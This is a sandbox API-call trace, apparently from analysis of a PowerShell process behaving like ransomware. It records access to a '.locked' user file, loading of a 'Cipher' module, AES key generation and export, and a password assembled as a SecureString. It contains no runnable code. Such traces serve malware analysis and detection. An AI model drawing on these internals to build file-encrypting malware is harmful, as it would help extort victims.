0x0 [0134.198] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.198] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.199] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.200] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade98) returned 1 [0134.200] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\beePm3JTb4.mp3.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\xobuuprcw\\beepm3jtb4.mp3.locked"), fInfoLevelId=0x0, lpFileInformation=0x6a1d000 | out: lpFileInformation=0x6a1d000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13271f4a, ftCreationTime.dwHighDateTime=0x1d4bf19, ftLastAccessTime.dwLowDateTime=0x13271f4a, ftLastAccessTime.dwHighDateTime=0x1d4bf19, ftLastWriteTime.dwLowDateTime=0x133088fd, ftLastWriteTime.dwHighDateTime=0x1d4bf19, nFileSizeHigh=0x0, nFileSizeLow=0x58d4)) returned 1 [0134.200] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade94) returned 1 [0134.200] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\beePm3JTb4.mp3.locked", nBufferLength=0x105, lpBuffer=0x99ad974, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\beePm3JTb4.mp3.locked", lpFilePart=0x0) returned 0x3b [0134.200] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\beePm3JTb4.mp3.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\xobuuprcw\\beepm3jtb4.mp3.locked"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x858 [0134.201] GetFileInformationByHandle (in: hFile=0x858, lpFileInformation=0x99adee0 | out: lpFileInformation=0x99adee0) returned 1 [0134.202] GetConsoleOutputCP () returned 0x1b5 [0134.202] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0134.203] GetConsoleOutputCP () returned 0x1b5 [0134.203] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0134.203] GetConsoleOutputCP () returned 0x1b5 [0134.203] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0134.203] GetConsoleOutputCP () returned 0x1b5 [0134.204] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0134.204] GetConsoleOutputCP () returned 0x1b5 [0134.204] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0134.204] GetConsoleOutputCP () returned 0x1b5 [0134.205] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0134.205] GetConsoleOutputCP () returned 0x1b5 [0134.205] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0134.205] GetConsoleOutputCP () returned 0x1b5 [0134.206] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0134.206] GetConsoleOutputCP () returned 0x1b5 [0134.206] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0134.206] GetConsoleOutputCP () returned 0x1b5 [0134.206] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0134.207] GetConsoleOutputCP () returned 0x1b5 [0134.207] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0134.207] GetConsoleOutputCP () returned 0x1b5 [0134.207] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0134.207] GetConsoleOutputCP () returned 0x1b5 [0134.208] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0134.208] GetConsoleOutputCP () returned 0x1b5 [0134.209] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0134.209] GetConsoleOutputCP () returned 0x1b5 [0134.209] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0134.209] GetConsoleOutputCP () returned 0x1b5 [0134.209] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0134.209] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4d8 | out: lpConsoleScreenBufferInfo=0x99ae4d8) returned 1 [0134.210] GetConsoleOutputCP () returned 0x1b5 [0134.210] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae474, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae474) returned 0 [0134.210] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0134.211] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6a43c70*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x6a43c70*, lpNumberOfCharsWritten=0x99ae4d8*=0x77) returned 1 [0134.211] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0134.212] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4d8*=0x2) returned 1 [0134.217] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee78*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee78*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.217] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xfd, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xfd, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.217] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99aeb14, nSize=0x100 | out: lpBuffer="") returned 0x0 [0134.217] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0134.217] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeeec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeeec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.217] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee4c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee4c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xfd, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.217] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.218] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae768, nSize=0x100 | out: lpBuffer="\x1161\x73b6\x30f7\x6b24\x14\x01\xd440\x73ae\x96e8\x667") returned 0x0 [0134.218] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae444, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0134.218] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeb40*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb40*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.218] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeaa0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeaa0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.218] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.219] CryptAcquireContextW (in: phProv=0x99ae440, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae440*=0x8e02360) returned 1 [0134.219] CryptGenKey (in: hProv=0x8e02360, Algid=0x6610, dwFlags=0x1, phKey=0x99ae854 | out: phKey=0x99ae854*=0x8e84cf8) returned 1 [0134.219] CryptContextAddRef (hProv=0x8e02360, pdwReserved=0x0, dwFlags=0x0) returned 1 [0134.219] CryptExportKey (in: hKey=0x8e84cf8, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x99ae894 | out: pbData=0x0*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0134.219] CryptExportKey (in: hKey=0x8e84cf8, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x6a4d544, pdwDataLen=0x99ae894 | out: pbData=0x6a4d544*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0134.220] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae414, nSize=0x100 | out: lpBuffer="\xd4d4\x6a4\xe480\x99a\x14\x01\xd440\x73ae\x785c\x667\x1200\x64b\x9e") returned 0x0 [0134.220] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae7ec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae7ec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.220] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae74c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae74c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.220] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae7dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae7dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.220] SysStringLen (param_1="") returned 0x8 [0134.220] SysStringLen (param_1="6") returned 0x8 [0134.220] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.220] SysStringLen (param_1="\xe607\x2e96\x89f2\x7493\xb21\x1f9a\xa42\x5d3b") returned 0x8 [0134.220] SysStringLen (param_1="\xe607\x2e96\x89f2\x7493\xb21\x1f9a\xa42\x5d3b") returned 0x8 [0134.220] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.220] SysStringLen (param_1="6N") returned 0x8 [0134.220] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.221] SysStringLen (param_1="\xc7fa\x67e\x5db5\x1999\x24f6\x3f14\x743f\xa894") returned 0x8 [0134.221] SysStringLen (param_1="\xc7fa\x67e\x5db5\x1999\x24f6\x3f14\x743f\xa894") returned 0x8 [0134.221] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.221] SysStringLen (param_1="6Nh") returned 0x8 [0134.221] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.221] SysStringLen (param_1="\x58ba\xc0bc\xc6e0\x65de\x3f13\x3476\xdc65\xc489") returned 0x8 [0134.221] SysStringLen (param_1="\x58ba\xc0bc\xc6e0\x65de\x3f13\x3476\xdc65\xc489") returned 0x8 [0134.221] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.221] SysStringLen (param_1="6Nh9") returned 0x8 [0134.221] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.221] SysStringLen (param_1="\xc9d\x4751\x37f3\x4eba\x5968\x7f50\xda0\xa5a0") returned 0x8 [0134.221] SysStringLen (param_1="\xc9d\x4751\x37f3\x4eba\x5968\x7f50\xda0\xa5a0") returned 0x8 [0134.221] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.221] SysStringLen (param_1="6Nh9N") returned 0x8 [0134.221] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.222] SysStringLen (param_1="\xc5bb\x487a\x2087\xd788\xa458\x4357\xd91a\xd204") returned 0x8 [0134.222] SysStringLen (param_1="\xc5bb\x487a\x2087\xd788\xa458\x4357\xd91a\xd204") returned 0x8 [0134.222] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.222] SysStringLen (param_1="6Nh9NJ") returned 0x8 [0134.222] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.222] SysStringLen (param_1="\x5d87\xfb4f\x3422\x2d2b\x9af3\x607\x2021\x9520") returned 0x8 [0134.222] SysStringLen (param_1="\x5d87\xfb4f\x3422\x2d2b\x9af3\x607\x2021\x9520") returned 0x8 [0134.222] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.222] SysStringLen (param_1="6Nh9NJY") returned 0x8 [0134.222] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.222] SysStringLen (param_1="\x8767\x340b\x4424\x87ff\xdfd4\x5958\xa327\xcfa3") returned 0x8 [0134.222] SysStringLen (param_1="\x8767\x340b\x4424\x87ff\xdfd4\x5958\xa327\xcfa3") returned 0x8 [0134.222] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.222] SysStringLen (param_1="6Nh9NJYz") returned 0x8 [0134.222] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.222] SysStringLen (param_1="\xc01b\x4c0a\x8933\x8935\x8bfb\x6acf\xb8df\x207") returned 0x8 [0134.223] SysStringLen (param_1="\xc01b\x4c0a\x8933\x8935\x8bfb\x6acf\xb8df\x207") returned 0x8 [0134.223] SysStringLen (param_1="\xc01b\x4c0a\x8933\x8935\x8bfb\x6acf\xb8df\x207") returned 0x8 [0134.223] SysStringLen (param_1="\xc01b\x4c0a\x8933\x8935\x8bfb\x6acf\xb8df\x207") returned 0x10 [0134.223] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.223] SysStringLen (param_1="6Nh9NJYzO䰠嗢蠳伻繚ﴤ㋔") returned 0x10 [0134.223] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.223] SysStringLen (param_1="\xc01b\x4c0a\x8933\x8935\x8bfb\x6acf\xb8df\x207\x220d\x5a2\xd522\x5893\x1974\x3d4b\x487f\x44dc") returned 0x10 [0134.223] SysStringLen (param_1="\xc01b\x4c0a\x8933\x8935\x8bfb\x6acf\xb8df\x207\x220d\x5a2\xd522\x5893\x1974\x3d4b\x487f\x44dc") returned 0x10 [0134.223] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.223] SysStringLen (param_1="6Nh9NJYzOl嗢蠳伻繚ﴤ㋔") returned 0x10 [0134.223] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.223] SysStringLen (param_1="\xc01b\x4c0a\x8933\x8935\x8bfb\x6acf\xb8df\x207\x43b0\xda69\x393e\x8236\x8445\xbd4d\x5151\xcf3a") returned 0x10 [0134.223] SysStringLen (param_1="\xc01b\x4c0a\x8933\x8935\x8bfb\x6acf\xb8df\x207\x43b0\xda69\x393e\x8236\x8445\xbd4d\x5151\xcf3a") returned 0x10 [0134.223] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.223] SysStringLen (param_1="6Nh9NJYzOlu蠳伻繚ﴤ㋔") returned 0x10 [0134.223] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.224] SysStringLen (param_1="\xc01b\x4c0a\x8933\x8935\x8bfb\x6acf\xb8df\x207\x41c0\x9248\xc8f2\xffab\x2540\x633d\x4fd2\xf4f1") returned 0x10 [0134.224] SysStringLen (param_1="\xc01b\x4c0a\x8933\x8935\x8bfb\x6acf\xb8df\x207\x41c0\x9248\xc8f2\xffab\x2540\x633d\x4fd2\xf4f1") returned 0x10 [0134.224] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.224] SysStringLen (param_1="6Nh9NJYzOluf伻繚ﴤ㋔") returned 0x10 [0134.224] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.224] SysStringLen (param_1="\xc01b\x4c0a\x8933\x8935\x8bfb\x6acf\xb8df\x207\x2573\x3e\x24c7\xe4c7\x36d8\x6e70\x62d3\xbbec") returned 0x10 [0134.224] SysStringLen (param_1="\xc01b\x4c0a\x8933\x8935\x8bfb\x6acf\xb8df\x207\x2573\x3e\x24c7\xe4c7\x36d8\x6e70\x62d3\xbbec") returned 0x10 [0134.224] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.224] SysStringLen (param_1="6Nh9NJYzOlufc繚ﴤ㋔") returned 0x10 [0134.224] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.224] SysStringLen (param_1="\xc01b\x4c0a\x8933\x8935\x8bfb\x6acf\xb8df\x207\x974d\x7568\x19\x2be\x5a25\x3e14\xdea8\xb0c6") returned 0x10 [0134.224] SysStringLen (param_1="\xc01b\x4c0a\x8933\x8935\x8bfb\x6acf\xb8df\x207\x974d\x7568\x19\x2be\x5a25\x3e14\xdea8\xb0c6") returned 0x10 [0134.224] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.224] SysStringLen (param_1="6Nh9NJYzOlufcuﴤ㋔") returned 0x10 [0134.224] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.225] SysStringLen (param_1="\xc01b\x4c0a\x8933\x8935\x8bfb\x6acf\xb8df\x207\x890\xf21d\x5af8\x27ec\x3a61\x4ded\x35a7\x4749") returned 0x10 [0134.225] SysStringLen (param_1="\xc01b\x4c0a\x8933\x8935\x8bfb\x6acf\xb8df\x207\x890\xf21d\x5af8\x27ec\x3a61\x4ded\x35a7\x4749") returned 0x10 [0134.225] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.225] SysStringLen (param_1="6Nh9NJYzOlufcuZ㋔") returned 0x10 [0134.225] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.225] SysStringLen (param_1="\xc01b\x4c0a\x8933\x8935\x8bfb\x6acf\xb8df\x207\x6222\x3db1\xaabe\xac53\x2421\x535a\xa37e\xcfba") returned 0x10 [0134.225] SysStringLen (param_1="\xc01b\x4c0a\x8933\x8935\x8bfb\x6acf\xb8df\x207\x6222\x3db1\xaabe\xac53\x2421\x535a\xa37e\xcfba") returned 0x10 [0134.225] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.225] SysStringLen (param_1="6Nh9NJYzOlufcuZS") returned 0x10 [0134.225] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.225] SysStringLen (param_1="\xc01b\x4c0a\x8933\x8935\x8bfb\x6acf\xb8df\x207\x37ab\xa8f1\x7f94\x9aec\xc77e\x4447\xb782\x403d") returned 0x10 [0134.225] SysStringLen (param_1="\xc01b\x4c0a\x8933\x8935\x8bfb\x6acf\xb8df\x207\x37ab\xa8f1\x7f94\x9aec\xc77e\x4447\xb782\x403d") returned 0x10 [0134.225] SysStringLen (param_1="\xc01b\x4c0a\x8933\x8935\x8bfb\x6acf\xb8df\x207\x37ab\xa8f1\x7f94\x9aec\xc77e\x4447\xb782\x403d") returned 0x10 [0134.225] SysStringLen (param_1="\xc01b\x4c0a\x8933\x8935\x8bfb\x6acf\xb8df\x207\x37ab\xa8f1\x7f94\x9aec\xc77e\x4447\xb782\x403d") returned 0x18 [0134.225] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.225] SysStringLen (param_1="6Nh9NJYzOlufcuZSD꣛೜鯪ξ僒烮") returned 0x18 [0134.226] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.226] SysStringLen (param_1="\xc01b\x4c0a\x8933\x8935\x8bfb\x6acf\xb8df\x207\x37ab\xa8f1\x7f94\x9aec\xc77e\x4447\xb782\x403d\x3a5a\x7d31\x91b\x821d\x56ed\xa2d\xd4e3\x7f7d") returned 0x18 [0134.226] SysStringLen (param_1="\xc01b\x4c0a\x8933\x8935\x8bfb\x6acf\xb8df\x207\x37ab\xa8f1\x7f94\x9aec\xc77e\x4447\xb782\x403d\x3a5a\x7d31\x91b\x821d\x56ed\xa2d\xd4e3\x7f7d") returned 0x18 [0134.226] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.226] SysStringLen (param_1="6Nh9NJYzOlufcuZSD2೜鯪ξ僒烮") returned 0x18 [0134.226] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.226] SysStringLen 